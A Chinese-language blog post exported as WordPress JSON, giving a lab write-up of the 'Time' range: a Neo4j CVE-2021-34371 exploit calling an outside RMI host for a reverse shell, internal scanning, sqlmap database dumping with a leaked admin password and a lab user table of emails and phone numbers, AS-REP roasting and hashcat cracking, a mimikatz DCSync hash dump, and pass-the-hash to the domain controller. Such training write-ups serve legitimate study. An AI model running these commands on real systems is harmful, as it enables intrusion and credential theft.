{"id":235,"date":"2023-05-21T22:46:13","date_gmt":"2023-05-21T14:46:13","guid":{"rendered":"https:\/\/zysgmzb.club\/?p=235"},"modified":"2023-05-21T22:46:13","modified_gmt":"2023-05-21T14:46:13","slug":"%e6%98%a5%e7%a7%8b%e4%ba%91%e5%a2%83%e9%9d%b6%e5%9c%ba%e8%ae%b0%e5%bd%95-time","status":"publish","type":"post","link":"https:\/\/zysgmzb.club\/index.php\/archives\/235","title":{"rendered":"\u6625\u79cb\u4e91\u5883\u9776\u573a\u8bb0\u5f55-Time"},"content":{"rendered":"<blockquote>\n<p>\u53c8\u662f\u88ab\u4ee3\u7406\u6298\u78e8\u7684\u4e00\u5929<\/p>\n<\/blockquote>\n<p>\u7aef\u53e3\u626b\u63cf<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic1.imgdb.cn\/item\/646a11f8e03e90d874a83825.jpg\" alt=\"\" \/><\/p>\n<p>\u4e00\u773c\u4e01\u771fneo4j --&gt; <a href=\"https:\/\/github.com\/zwjjustdoit\/CVE-2021-34371.jar\">https:\/\/github.com\/zwjjustdoit\/CVE-2021-34371.jar<\/a><\/p>\n<p>\u76f4\u63a5\u6253<\/p>\n<pre class=\"prettyprint linenums\" ><code>java -jar rhino_gadget.jar rmi:\/\/39.98.219.153:1337 &quot;\u53cd\u5f39shell\u547d\u4ee4&quot;<\/code><\/pre>\n<p>\u62ff\u5230shell<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic1.imgdb.cn\/item\/646a1540e03e90d874ac2945.jpg\" alt=\"\" \/><\/p>\n<p>ifconfig\u4e0b<\/p>\n<pre class=\"prettyprint linenums\" ><code>eth0: flags=4163&lt;UP,BROADCAST,RUNNING,MULTICAST&gt;  mtu 1500\n        inet 172.22.6.36  netmask 255.255.0.0  broadcast 172.22.255.255\n        inet6 fe80::216:3eff:fe03:b07  prefixlen 64  scopeid 0x20&lt;link&gt;\n        ether 00:16:3e:03:0b:07  txqueuelen 1000  (Ethernet)\n        RX packets 422662  bytes 125990839 (125.9 MB)\n        RX errors 0  dropped 0  overruns 0  frame 0\n        TX packets 368054  bytes 31530679 (31.5 MB)\n        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0\n\nlo: flags=73&lt;UP,LOOPBACK,RUNNING&gt;  mtu 65536\n        inet 127.0.0.1  netmask 255.0.0.0\n        inet6 ::1  prefixlen 128  scopeid 0x10&lt;host&gt;\n        loop  txqueuelen 1000  (Local Loopback)\n        RX packets 819  bytes 70883 (70.8 KB)\n        RX errors 0  dropped 0  overruns 0  frame 0\n        TX packets 819  bytes 70883 (70.8 KB)\n        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0<\/code><\/pre>\n<p>\u62ff\u5230flag1<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic1.imgdb.cn\/item\/646a1574e03e90d874ac59d9.jpg\" alt=\"\" \/><\/p>\n<p>frp\u505a\u4e2a\u4ee3\u7406\u5148\uff0c\u518d\u4f20fscan\u626b\u4e2a\u5185\u7f51<\/p>\n<pre class=\"prettyprint linenums\" ><code>.\/fscan -h 172.22.6.0\/24\n\n   ___                              _    \n  \/ _ \\     ___  ___ _ __ __ _  ___| | __ \n \/ \/_\\\/____\/ __|\/ __| &#039;__\/ _` |\/ __| |\/ \/\n\/ \/_\\\\_____\\__ \\ (__| | | (_| | (__|   &lt;    \n\\____\/     |___\/\\___|_|  \\__,_|\\___|_|\\_\\   \n                     fscan version: 1.8.2\nstart infoscan\ntrying RunIcmp2\nThe current user permissions unable to send icmp packets\nstart ping\n(icmp) Target 172.22.6.12     is alive\n(icmp) Target 172.22.6.25     is alive\n(icmp) Target 172.22.6.36     is alive\n(icmp) Target 172.22.6.38     is alive\n[*] Icmp alive hosts len is: 4\n172.22.6.25:445 open\n172.22.6.12:445 open\n172.22.6.25:139 open\n172.22.6.12:139 open\n172.22.6.25:135 open\n172.22.6.12:135 open\n172.22.6.38:80 open\n172.22.6.38:22 open\n172.22.6.36:22 open\n172.22.6.12:88 open\n172.22.6.36:7687 open\n[*] alive ports len is: 11\nstart vulscan\n[*] NetInfo:\n[*]172.22.6.25\n   [-&gt;]WIN2019\n   [-&gt;]172.22.6.25\n[*] NetInfo:\n[*]172.22.6.12\n   [-&gt;]DC-PROGAME\n   [-&gt;]172.22.6.12\n[*] NetBios: 172.22.6.25     XIAORANG\\WIN2019               \n[*] WebTitle: http:\/\/172.22.6.38        code:200 len:1531   title:\u540e\u53f0\u767b\u5f55\n[*] NetBios: 172.22.6.12     [+]DC DC-PROGAME.xiaorang.lab       Windows Server 2016 Datacenter 14393 \n[*] 172.22.6.12  (Windows Server 2016 Datacenter 14393)\n[*] WebTitle: https:\/\/172.22.6.36:7687  code:400 len:50     title:None\n\u5df2\u5b8c\u6210 11\/11\n[*] \u626b\u63cf\u7ed3\u675f,\u8017\u65f6: 15.506513213s<\/code><\/pre>\n<p>\u7b80\u5355\u5206\u6790\u4e0b<\/p>\n<pre class=\"prettyprint linenums\" ><code>172.22.6.12     \u57df\u63a7\n172.22.6.25     \u57df\u5185\u673a\u5668\n172.22.6.36     \u5f53\u524d\u673a\u5668\n172.22.6.38     \u67d0\u540e\u53f0\u767b\u5f55\u754c\u9762<\/code><\/pre>\n<p>\u5148\u4ece172.22.6.38\u5165\u624b<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic1.imgdb.cn\/item\/646a19eee03e90d874b0b2cc.jpg\" alt=\"\" \/><\/p>\n<p>\u6293\u4e0b\u767b\u9646\u7684\u6570\u636e\u5305\u7136\u540e\u76f4\u63a5sqlmap\u5f00\u68ad<\/p>\n<pre class=\"prettyprint linenums\" ><code>p4 sqlmap -r 1.txt --current-db\np4 sqlmap -r 1.txt -D oa_db --tables\np4 sqlmap -r 1.txt -D oa_db -T oa_f1Agggg --columns\np4 sqlmap -r 1.txt -D oa_db -T oa_f1Agggg -C flag02 --dump<\/code><\/pre>\n<p>\u62ff\u5230flag02<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic1.imgdb.cn\/item\/646a1cfce03e90d874b3ca05.jpg\" alt=\"\" \/><\/p>\n<p>\u540c\u65f6\u8fd9\u91cc\u9762\u8fd8\u6709admin\u548cusers\u4e24\u4e2a\u8868\uff0c\u90fd\u770b\u770b<\/p>\n<p>\u5f97\u5230\u4ee5\u4e0b\u4fe1\u606f<\/p>\n<pre class=\"prettyprint linenums\" ><code>administrator:bo2y8kAL3HnXUiQo<\/code><\/pre>\n<pre class=\"prettyprint linenums\" ><code>+-----+----------------------------+-------------+-----------------+\n| id  | email                      | phone       | username        |\n+-----+----------------------------+-------------+-----------------+\n| 245 | chenyan@xiaorang.lab       | 18281528743 | CHEN YAN        |\n| 246 | tanggui@xiaorang.lab       | 18060615547 | TANG GUI        |\n| 247 | buning@xiaorang.lab        | 13046481392 | BU NING         |\n| 248 | beishu@xiaorang.lab        | 18268508400 | BEI SHU         |\n| 249 | shushi@xiaorang.lab        | 17770383196 | SHU SHI         |\n| 250 | fuyi@xiaorang.lab          | 18902082658 | FU YI           |\n| 251 | pangcheng@xiaorang.lab     | 18823789530 | PANG CHENG      |\n| 252 | tonghao@xiaorang.lab       | 13370873526 | TONG HAO        |\n| 253 | jiaoshan@xiaorang.lab      | 15375905173 | JIAO SHAN       |\n| 254 | dulun@xiaorang.lab         | 13352331157 | DU LUN          |\n| 255 | kejuan@xiaorang.lab        | 13222550481 | KE JUAN         |\n| 256 | gexin@xiaorang.lab         | 18181553086 | GE XIN          |\n| 257 | lugu@xiaorang.lab          | 18793883130 | LU GU           |\n| 258 | guzaicheng@xiaorang.lab    | 15309377043 | GU ZAI CHENG    |\n| 259 | feicai@xiaorang.lab        | 13077435367 | FEI CAI         |\n| 260 | ranqun@xiaorang.lab        | 18239164662 | RAN QUN         |\n| 261 | zhouyi@xiaorang.lab        | 13169264671 | ZHOU YI         |\n| 262 | shishu@xiaorang.lab        | 18592890189 | SHI SHU         |\n| 263 | yanyun@xiaorang.lab        | 15071085768 | YAN YUN         |\n| 264 | chengqiu@xiaorang.lab      | 13370162980 | CHENG QIU       |\n| 265 | louyou@xiaorang.lab        | 13593582379 | LOU YOU         |\n| 266 | maqun@xiaorang.lab         | 15235945624 | MA QUN          |\n| 267 | wenbiao@xiaorang.lab       | 13620643639 | WEN BIAO        |\n| 268 | weishengshan@xiaorang.lab  | 18670502260 | WEI SHENG SHAN  |\n| 269 | zhangxin@xiaorang.lab      | 15763185760 | ZHANG XIN       |\n| 270 | chuyuan@xiaorang.lab       | 18420545268 | CHU YUAN        |\n| 271 | wenliang@xiaorang.lab      | 13601678032 | WEN LIANG       |\n| 272 | yulvxue@xiaorang.lab       | 18304374901 | YU LV XUE       |\n| 273 | luyue@xiaorang.lab         | 18299785575 | LU YUE          |\n| 274 | ganjian@xiaorang.lab       | 18906111021 | GAN JIAN        |\n| 275 | pangzhen@xiaorang.lab      | 13479328562 | PANG ZHEN       |\n| 276 | guohong@xiaorang.lab       | 18510220597 | GUO HONG        |\n| 277 | lezhong@xiaorang.lab       | 15320909285 | LE ZHONG        |\n| 278 | sheweiyue@xiaorang.lab     | 13736399596 | SHE WEI YUE     |\n| 279 | dujian@xiaorang.lab        | 15058892639 | DU JIAN         |\n| 280 | lidongjin@xiaorang.lab     | 18447207007 | LI DONG JIN     |\n| 281 | hongqun@xiaorang.lab       | 15858462251 | HONG QUN        |\n| 282 | yexing@xiaorang.lab        | 13719043564 | YE XING         |\n| 283 | maoda@xiaorang.lab         | 13878840690 | MAO DA          |\n| 284 | qiaomei@xiaorang.lab       | 13053207462 | QIAO MEI        |\n| 285 | nongzhen@xiaorang.lab      | 15227699960 | NONG ZHEN       |\n| 286 | dongshu@xiaorang.lab       | 15695562947 | DONG SHU        |\n| 287 | zhuzhu@xiaorang.lab        | 13070163385 | ZHU ZHU         |\n| 288 | jiyun@xiaorang.lab         | 13987332999 | JI YUN          |\n| 289 | qiguanrou@xiaorang.lab     | 15605983582 | QI GUAN ROU     |\n| 290 | yixue@xiaorang.lab         | 18451603140 | YI XUE          |\n| 291 | chujun@xiaorang.lab        | 15854942459 | CHU JUN         |\n| 292 | shenshan@xiaorang.lab      | 17712052191 | SHEN SHAN       |\n| 293 | lefen@xiaorang.lab         | 13271196544 | LE FEN          |\n| 294 | yubo@xiaorang.lab          | 13462202742 | YU BO           |\n| 295 | helianrui@xiaorang.lab     | 15383000907 | HE LIAN RUI     |\n| 296 | xuanqun@xiaorang.lab       | 18843916267 | XUAN QUN        |\n| 297 | shangjun@xiaorang.lab      | 15162486698 | SHANG JUN       |\n| 298 | huguang@xiaorang.lab       | 18100586324 | HU GUANG        |\n| 299 | wansifu@xiaorang.lab       | 18494761349 | WAN SI FU       |\n| 300 | fenghong@xiaorang.lab      | 13536727314 | FENG HONG       |\n| 301 | wanyan@xiaorang.lab        | 17890844429 | WAN YAN         |\n| 302 | diyan@xiaorang.lab         | 18534028047 | DI YAN          |\n| 303 | xiangyu@xiaorang.lab       | 13834043047 | XIANG YU        |\n| 304 | songyan@xiaorang.lab       | 15282433280 | SONG YAN        |\n| 305 | fandi@xiaorang.lab         | 15846960039 | FAN DI          |\n| 306 | xiangjuan@xiaorang.lab     | 18120327434 | XIANG JUAN      |\n| 307 | beirui@xiaorang.lab        | 18908661803 | BEI RUI         |\n| 308 | didi@xiaorang.lab          | 13413041463 | DI DI           |\n| 309 | zhubin@xiaorang.lab        | 15909558554 | ZHU BIN         |\n| 310 | lingchun@xiaorang.lab      | 13022790678 | LING CHUN       |\n| 311 | zhenglu@xiaorang.lab       | 13248244873 | ZHENG LU        |\n| 312 | xundi@xiaorang.lab         | 18358493414 | XUN DI          |\n| 313 | wansishun@xiaorang.lab     | 18985028319 | WAN SI SHUN     |\n| 314 | yezongyue@xiaorang.lab     | 13866302416 | YE ZONG YUE     |\n| 315 | bianmei@xiaorang.lab       | 18540879992 | BIAN MEI        |\n| 316 | shanshao@xiaorang.lab      | 18791488918 | SHAN SHAO       |\n| 317 | zhenhui@xiaorang.lab       | 13736784817 | ZHEN HUI        |\n| 318 | chengli@xiaorang.lab       | 15913267394 | CHENG LI        |\n| 319 | yufen@xiaorang.lab         | 18432795588 | YU FEN          |\n| 320 | jiyi@xiaorang.lab          | 13574211454 | JI YI           |\n| 321 | panbao@xiaorang.lab        | 13675851303 | PAN BAO         |\n| 322 | mennane@xiaorang.lab       | 15629706208 | MEN NAN E       |\n| 323 | fengsi@xiaorang.lab        | 13333432577 | FENG SI         |\n| 324 | mingyan@xiaorang.lab       | 18296909463 | MING YAN        |\n| 325 | luoyou@xiaorang.lab        | 15759321415 | LUO YOU         |\n| 326 | liangduanqing@xiaorang.lab | 13150744785 | LIANG DUAN QING |\n| 327 | nongyan@xiaorang.lab       | 18097386975 | NONG YAN        |\n| 328 | haolun@xiaorang.lab        | 15152700465 | HAO LUN         |\n| 329 | oulun@xiaorang.lab         | 13402760696 | OU LUN          |\n| 330 | weichipeng@xiaorang.lab    | 18057058937 | WEI CHI PENG    |\n| 331 | qidiaofang@xiaorang.lab    | 18728297829 | QI DIAO FANG    |\n| 332 | xuehe@xiaorang.lab         | 13398862169 | XUE HE          |\n| 333 | chensi@xiaorang.lab        | 18030178713 | CHEN SI         |\n| 334 | guihui@xiaorang.lab        | 17882514129 | GUI HUI         |\n| 335 | fuyue@xiaorang.lab         | 18298436549 | FU YUE          |\n| 336 | wangxing@xiaorang.lab      | 17763645267 | WANG XING       |\n| 337 | zhengxiao@xiaorang.lab     | 18673968392 | ZHENG XIAO      |\n| 338 | guhui@xiaorang.lab         | 15166711352 | GU HUI          |\n| 339 | baoai@xiaorang.lab         | 15837430827 | BAO AI          |\n| 340 | hangzhao@xiaorang.lab      | 13235488232 | HANG ZHAO       |\n| 341 | xingye@xiaorang.lab        | 13367587521 | XING YE         |\n| 342 | qianyi@xiaorang.lab        | 18657807767 | QIAN YI         |\n| 343 | xionghong@xiaorang.lab     | 17725874584 | XIONG HONG      |\n| 344 | zouqi@xiaorang.lab         | 15300430128 | ZOU QI          |\n| 345 | rongbiao@xiaorang.lab      | 13034242682 | RONG BIAO       |\n| 346 | gongxin@xiaorang.lab       | 15595839880 | GONG XIN        |\n| 347 | luxing@xiaorang.lab        | 18318675030 | LU XING         |\n| 348 | huayan@xiaorang.lab        | 13011805354 | HUA YAN         |\n| 349 | duyue@xiaorang.lab         | 15515878208 | DU YUE          |\n| 350 | xijun@xiaorang.lab         | 17871583183 | XI JUN          |\n| 351 | daiqing@xiaorang.lab       | 18033226216 | DAI QING        |\n| 352 | yingbiao@xiaorang.lab      | 18633421863 | YING BIAO       |\n| 353 | hengteng@xiaorang.lab      | 15956780740 | HENG TENG       |\n| 354 | changwu@xiaorang.lab       | 15251485251 | CHANG WU        |\n| 355 | chengying@xiaorang.lab     | 18788248715 | CHENG YING      |\n| 356 | luhong@xiaorang.lab        | 17766091079 | LU HONG         |\n| 357 | tongxue@xiaorang.lab       | 18466102780 | TONG XUE        |\n| 358 | xiangqian@xiaorang.lab     | 13279611385 | XIANG QIAN      |\n| 359 | shaokang@xiaorang.lab      | 18042645434 | SHAO KANG       |\n| 360 | nongzhu@xiaorang.lab       | 13934236634 | NONG ZHU        |\n| 361 | haomei@xiaorang.lab        | 13406913218 | HAO MEI         |\n| 362 | maoqing@xiaorang.lab       | 15713298425 | MAO QING        |\n| 363 | xiai@xiaorang.lab          | 18148404789 | XI AI           |\n| 364 | bihe@xiaorang.lab          | 13628593791 | BI HE           |\n| 365 | gaoli@xiaorang.lab         | 15814408188 | GAO LI          |\n| 366 | jianggong@xiaorang.lab     | 15951118926 | JIANG GONG      |\n| 367 | pangning@xiaorang.lab      | 13443921700 | PANG NING       |\n| 368 | ruishi@xiaorang.lab        | 15803112819 | RUI SHI         |\n| 369 | wuhuan@xiaorang.lab        | 13646953078 | WU HUAN         |\n| 370 | qiaode@xiaorang.lab        | 13543564200 | QIAO DE         |\n| 371 | mayong@xiaorang.lab        | 15622971484 | MA YONG         |\n| 372 | hangda@xiaorang.lab        | 15937701659 | HANG DA         |\n| 373 | changlu@xiaorang.lab       | 13734991654 | CHANG LU        |\n| 374 | liuyuan@xiaorang.lab       | 15862054540 | LIU YUAN        |\n| 375 | chenggu@xiaorang.lab       | 15706685526 | CHENG GU        |\n| 376 | shentuyun@xiaorang.lab     | 15816902379 | SHEN TU YUN     |\n| 377 | zhuangsong@xiaorang.lab    | 17810274262 | ZHUANG SONG     |\n| 378 | chushao@xiaorang.lab       | 18822001640 | CHU SHAO        |\n| 379 | heli@xiaorang.lab          | 13701347081 | HE LI           |\n| 380 | haoming@xiaorang.lab       | 15049615282 | HAO MING        |\n| 381 | xieyi@xiaorang.lab         | 17840660107 | XIE YI          |\n| 382 | shangjie@xiaorang.lab      | 15025010410 | SHANG JIE       |\n| 383 | situxin@xiaorang.lab       | 18999728941 | SI TU XIN       |\n| 384 | linxi@xiaorang.lab         | 18052976097 | LIN XI          |\n| 385 | zoufu@xiaorang.lab         | 15264535633 | ZOU FU          |\n| 386 | qianqing@xiaorang.lab      | 18668594658 | QIAN QING       |\n| 387 | qiai@xiaorang.lab          | 18154690198 | QI AI           |\n| 388 | ruilin@xiaorang.lab        | 13654483014 | RUI LIN         |\n| 389 | luomeng@xiaorang.lab       | 15867095032 | LUO MENG        |\n| 390 | huaren@xiaorang.lab        | 13307653720 | HUA REN         |\n| 391 | yanyangmei@xiaorang.lab    | 15514015453 | YAN YANG MEI    |\n| 392 | zuofen@xiaorang.lab        | 15937087078 | ZUO FEN         |\n| 393 | manyuan@xiaorang.lab       | 18316106061 | MAN YUAN        |\n| 394 | yuhui@xiaorang.lab         | 18058257228 | YU HUI          |\n| 395 | sunli@xiaorang.lab         | 18233801124 | SUN LI          |\n| 396 | guansixin@xiaorang.lab     | 13607387740 | GUAN SI XIN     |\n| 397 | ruisong@xiaorang.lab       | 13306021674 | RUI SONG        |\n| 398 | qiruo@xiaorang.lab         | 13257810331 | QI RUO          |\n| 399 | jinyu@xiaorang.lab         | 18565922652 | JIN YU          |\n| 400 | shoujuan@xiaorang.lab      | 18512174415 | SHOU JUAN       |\n| 401 | yanqian@xiaorang.lab       | 13799789435 | YAN QIAN        |\n| 402 | changyun@xiaorang.lab      | 18925015029 | CHANG YUN       |\n| 403 | hualu@xiaorang.lab         | 13641470801 | HUA LU          |\n| 404 | huanming@xiaorang.lab      | 15903282860 | HUAN MING       |\n| 405 | baoshao@xiaorang.lab       | 13795275611 | BAO SHAO        |\n| 406 | hongmei@xiaorang.lab       | 13243605925 | HONG MEI        |\n| 407 | manyun@xiaorang.lab        | 13238107359 | MAN YUN         |\n| 408 | changwan@xiaorang.lab      | 13642205622 | CHANG WAN       |\n| 409 | wangyan@xiaorang.lab       | 13242486231 | WANG YAN        |\n| 410 | shijian@xiaorang.lab       | 15515077573 | SHI JIAN        |\n| 411 | ruibei@xiaorang.lab        | 18157706586 | RUI BEI         |\n| 412 | jingshao@xiaorang.lab      | 18858376544 | JING SHAO       |\n| 413 | jinzhi@xiaorang.lab        | 18902437082 | JIN ZHI         |\n| 414 | yuhui@xiaorang.lab         | 15215599294 | YU HUI          |\n| 415 | zangpeng@xiaorang.lab      | 18567574150 | ZANG PENG       |\n| 416 | changyun@xiaorang.lab      | 15804640736 | CHANG YUN       |\n| 417 | yetai@xiaorang.lab         | 13400150018 | YE TAI          |\n| 418 | luoxue@xiaorang.lab        | 18962643265 | LUO XUE         |\n| 419 | moqian@xiaorang.lab        | 18042706956 | MO QIAN         |\n| 420 | xupeng@xiaorang.lab        | 15881934759 | XU PENG         |\n| 421 | ruanyong@xiaorang.lab      | 15049703903 | RUAN YONG       |\n| 422 | guliangxian@xiaorang.lab   | 18674282714 | GU LIANG XIAN   |\n| 423 | yinbin@xiaorang.lab        | 15734030492 | YIN BIN         |\n| 424 | huarui@xiaorang.lab        | 17699257041 | HUA RUI         |\n| 425 | niuya@xiaorang.lab         | 13915041589 | NIU YA          |\n| 426 | guwei@xiaorang.lab         | 13584571917 | GU WEI          |\n| 427 | qinguan@xiaorang.lab       | 18427953434 | QIN GUAN        |\n| 428 | yangdanhan@xiaorang.lab    | 15215900100 | YANG DAN HAN    |\n| 429 | yingjun@xiaorang.lab       | 13383367818 | YING JUN        |\n| 430 | weiwan@xiaorang.lab        | 13132069353 | WEI WAN         |\n| 431 | sunduangu@xiaorang.lab     | 15737981701 | SUN DUAN GU     |\n| 432 | sisiwu@xiaorang.lab        | 18021600640 | SI SI WU        |\n| 433 | nongyan@xiaorang.lab       | 13312613990 | NONG YAN        |\n| 434 | xuanlu@xiaorang.lab        | 13005748230 | XUAN LU         |\n| 435 | yunzhong@xiaorang.lab      | 15326746780 | YUN ZHONG       |\n| 436 | gengfei@xiaorang.lab       | 13905027813 | GENG FEI        |\n| 437 | zizhuansong@xiaorang.lab   | 13159301262 | ZI ZHUAN SONG   |\n| 438 | ganbailong@xiaorang.lab    | 18353612904 | GAN BAI LONG    |\n| 439 | shenjiao@xiaorang.lab      | 15164719751 | SHEN JIAO       |\n| 440 | zangyao@xiaorang.lab       | 18707028470 | ZANG YAO        |\n| 441 | yangdanhe@xiaorang.lab     | 18684281105 | YANG DAN HE     |\n| 442 | chengliang@xiaorang.lab    | 13314617161 | CHENG LIANG     |\n| 443 | xudi@xiaorang.lab          | 18498838233 | XU DI           |\n| 444 | wulun@xiaorang.lab         | 18350490780 | WU LUN          |\n| 445 | yuling@xiaorang.lab        | 18835870616 | YU LING         |\n| 446 | taoya@xiaorang.lab         | 18494928860 | TAO YA          |\n| 447 | jinle@xiaorang.lab         | 15329208123 | JIN LE          |\n| 448 | youchao@xiaorang.lab       | 13332964189 | YOU CHAO        |\n| 449 | liangduanzhi@xiaorang.lab  | 15675237494 | LIANG DUAN ZHI  |\n| 450 | jiagupiao@xiaorang.lab     | 17884962455 | JIA GU PIAO     |\n| 451 | ganze@xiaorang.lab         | 17753508925 | GAN ZE          |\n| 452 | jiangqing@xiaorang.lab     | 15802357200 | JIANG QING      |\n| 453 | jinshan@xiaorang.lab       | 13831466303 | JIN SHAN        |\n| 454 | zhengpubei@xiaorang.lab    | 13690156563 | ZHENG PU BEI    |\n| 455 | cuicheng@xiaorang.lab      | 17641589842 | CUI CHENG       |\n| 456 | qiyong@xiaorang.lab        | 13485427829 | QI YONG         |\n| 457 | qizhu@xiaorang.lab         | 18838859844 | QI ZHU          |\n| 458 | ganjian@xiaorang.lab       | 18092585003 | GAN JIAN        |\n| 459 | yurui@xiaorang.lab         | 15764121637 | YU RUI          |\n| 460 | feishu@xiaorang.lab        | 18471512248 | FEI SHU         |\n| 461 | chenxin@xiaorang.lab       | 13906545512 | CHEN XIN        |\n| 462 | shengzhe@xiaorang.lab      | 18936457394 | SHENG ZHE       |\n| 463 | wohong@xiaorang.lab        | 18404022650 | WO HONG         |\n| 464 | manzhi@xiaorang.lab        | 15973350408 | MAN ZHI         |\n| 465 | xiangdong@xiaorang.lab     | 13233908989 | XIANG DONG      |\n| 466 | weihui@xiaorang.lab        | 15035834945 | WEI HUI         |\n| 467 | xingquan@xiaorang.lab      | 18304752969 | XING QUAN       |\n| 468 | miaoshu@xiaorang.lab       | 15121570939 | MIAO SHU        |\n| 469 | gongwan@xiaorang.lab       | 18233990398 | GONG WAN        |\n| 470 | qijie@xiaorang.lab         | 15631483536 | QI JIE          |\n| 471 | shaoting@xiaorang.lab      | 15971628914 | SHAO TING       |\n| 472 | xiqi@xiaorang.lab          | 18938747522 | XI QI           |\n| 473 | jinghong@xiaorang.lab      | 18168293686 | JING HONG       |\n| 474 | qianyou@xiaorang.lab       | 18841322688 | QIAN YOU        |\n| 475 | chuhua@xiaorang.lab        | 15819380754 | CHU HUA         |\n| 476 | yanyue@xiaorang.lab        | 18702474361 | YAN YUE         |\n| 477 | huangjia@xiaorang.lab      | 13006878166 | HUANG JIA       |\n| 478 | zhouchun@xiaorang.lab      | 13545820679 | ZHOU CHUN       |\n| 479 | jiyu@xiaorang.lab          | 18650881187 | JI YU           |\n| 480 | wendong@xiaorang.lab       | 17815264093 | WEN DONG        |\n| 481 | heyuan@xiaorang.lab        | 18710821773 | HE YUAN         |\n| 482 | mazhen@xiaorang.lab        | 18698248638 | MA ZHEN         |\n| 483 | shouchun@xiaorang.lab      | 15241369178 | SHOU CHUN       |\n| 484 | liuzhe@xiaorang.lab        | 18530936084 | LIU ZHE         |\n| 485 | fengbo@xiaorang.lab        | 15812110254 | FENG BO         |\n| 486 | taigongyuan@xiaorang.lab   | 15943349034 | TAI GONG YUAN   |\n| 487 | gesheng@xiaorang.lab       | 18278508909 | GE SHENG        |\n| 488 | songming@xiaorang.lab      | 13220512663 | SONG MING       |\n| 489 | yuwan@xiaorang.lab         | 15505678035 | YU WAN          |\n| 490 | diaowei@xiaorang.lab       | 13052582975 | DIAO WEI        |\n| 491 | youyi@xiaorang.lab         | 18036808394 | YOU YI          |\n| 492 | rongxianyu@xiaorang.lab    | 18839918955 | RONG XIAN YU    |\n| 493 | fuyi@xiaorang.lab          | 15632151678 | FU YI           |\n| 494 | linli@xiaorang.lab         | 17883399275 | LIN LI          |\n| 495 | weixue@xiaorang.lab        | 18672465853 | WEI XUE         |\n| 496 | hejuan@xiaorang.lab        | 13256081102 | HE JUAN         |\n| 497 | zuoqiutai@xiaorang.lab     | 18093001354 | ZUO QIU TAI     |\n| 498 | siyi@xiaorang.lab          | 17873307773 | SI YI           |\n| 499 | shenshan@xiaorang.lab      | 18397560369 | SHEN SHAN       |\n| 500 | tongdong@xiaorang.lab      | 15177549595 | TONG DONG       |\n+-----+----------------------------+-------------+-----------------+<\/code><\/pre>\n<p>\u6839\u636eflag1\u7684\u63d0\u793a\uff0c\u67e5\u627e\u672a\u8bbe\u7f6e\u9884\u8ba4\u8bc1\u7684\u8d26\u53f7<\/p>\n<pre class=\"prettyprint linenums\" ><code>p4 python3 GetNPUsers.py -dc-ip 172.22.6.12 -usersfile user.txt xiaorang.lab\/<\/code><\/pre>\n<p>\u627e\u5230\u4e00\u4e2a\u7528\u6237<\/p>\n<pre class=\"prettyprint linenums\" ><code>$krb5asrep$23$zhangxin@XIAORANG.LAB:461aa2a28fb06b48ac023d9a19d53e62$9954ddbb8c3a7afd605a0570a6abeddba0888401f6b1eeb47a64b6723725c104a37e70226fe70f83a0b5105fed8b9fbc74ed97cba60349130c6e32206a024054ceea2e3c596a1afd0f051c1780e19b0c7372d007c895345278c43fc72cb3c56648da92e430756f040f3ccf279318ded96ce6232ecfbbb7e08931f903424ea7ac7af9005750c4bbc6e284cce98c79e40fcd282ae5cc5b57ad99a1d4a545c038110ab658c5faea93f2bdafb679295342f0088003094b600ce3d381bd4d215e42047d5c1b6156471004fb1df3f18182469fdab3fc49d51d95a472c658889386e2d8b409088eef4e973b5e33e0b1<\/code><\/pre>\n<p>hashcat\u89e3\u4e00\u4e0b\u5bc6\u7801<\/p>\n<pre class=\"prettyprint linenums\" ><code>hashcat -m 18200 1.txt -a 0 .\/rockyou.txt  --force<\/code><\/pre>\n<p>\u5f97\u5230\u5bc6\u7801strawberry<\/p>\n<p>\u5148rdp\u8fde\u4e0a\uff0c\u7136\u540e\u4e0a\u7ebf\u5230msf<\/p>\n<p>\u7136\u540e\u662f\u6293\u81ea\u52a8\u767b\u5f55\u7684\u5bc6\u7801<\/p>\n<pre class=\"prettyprint linenums\" ><code>run windows\/gather\/credentials\/windows_autologin<\/code><\/pre>\n<p>\u8349\uff0c\u770b\u522b\u4ebawp\u90fd\u80fd\u6293\u5230\u5bc6\u7801\uff0c\u5230\u6211\u8fd9\u5c31\u57ae\u4e86\uff0c\u76f4\u63a5\u770b\u522b\u4eba\u7684\u5427<\/p>\n<pre class=\"prettyprint linenums\" ><code>yuxuan\/Yuxuan7QbrgZ3L<\/code><\/pre>\n<p>\u76f4\u63a5rdp\u767b\u4e0a\uff0c\u4e0a\u4f20mimikatz\u6293admin\u7684hash<\/p>\n<pre class=\"prettyprint linenums\" ><code>mimikatz # lsadump::dcsync \/domain:xiaorang.lab \/user:Administrator\n[DC] &#039;xiaorang.lab&#039; will be the domain\n[DC] &#039;DC-PROGAME.xiaorang.lab&#039; will be the DC server\n[DC] &#039;Administrator&#039; will be the user account\n[rpc] Service  : ldap\n[rpc] AuthnSvc : GSS_NEGOTIATE (9)\n\nObject RDN           : Administrator\n\n** SAM ACCOUNT **\n\nSAM Username         : Administrator\nAccount Type         : 30000000 ( USER_OBJECT )\nUser Account Control : 00000200 ( NORMAL_ACCOUNT )\nAccount expiration   : 1601\/1\/1 8:00:00\nPassword last change : 2023\/5\/21 20:37:36\nObject Security ID   : S-1-5-21-3623938633-4064111800-2925858365-500\nObject Relative ID   : 500\n\nCredentials:\n  Hash NTLM: 04d93ffd6f5f6e4490e0de23f240a5e9<\/code><\/pre>\n<p>\u62ff\u5230hash\uff0c\u76f4\u63a5\u62ffsmbexec\u6a2a\u5411\u8fc7\u53bb<\/p>\n<pre class=\"prettyprint linenums\" ><code>p4 python3 smbexec.py -hashes :04d93ffd6f5f6e4490e0de23f240a5e9 administrator@172.22.6.12<\/code><\/pre>\n<p>\u76f4\u63a5\u62ff\u5230\u57df\u63a7\u7684system\u6743\u9650<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic1.imgdb.cn\/item\/646a2c1be03e90d874c5be20.jpg\" alt=\"\" \/><\/p>\n<p>\u62ff\u5230flag4<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/pic1.imgdb.cn\/item\/646a2c90e03e90d874c62a90.jpg\" alt=\"\" 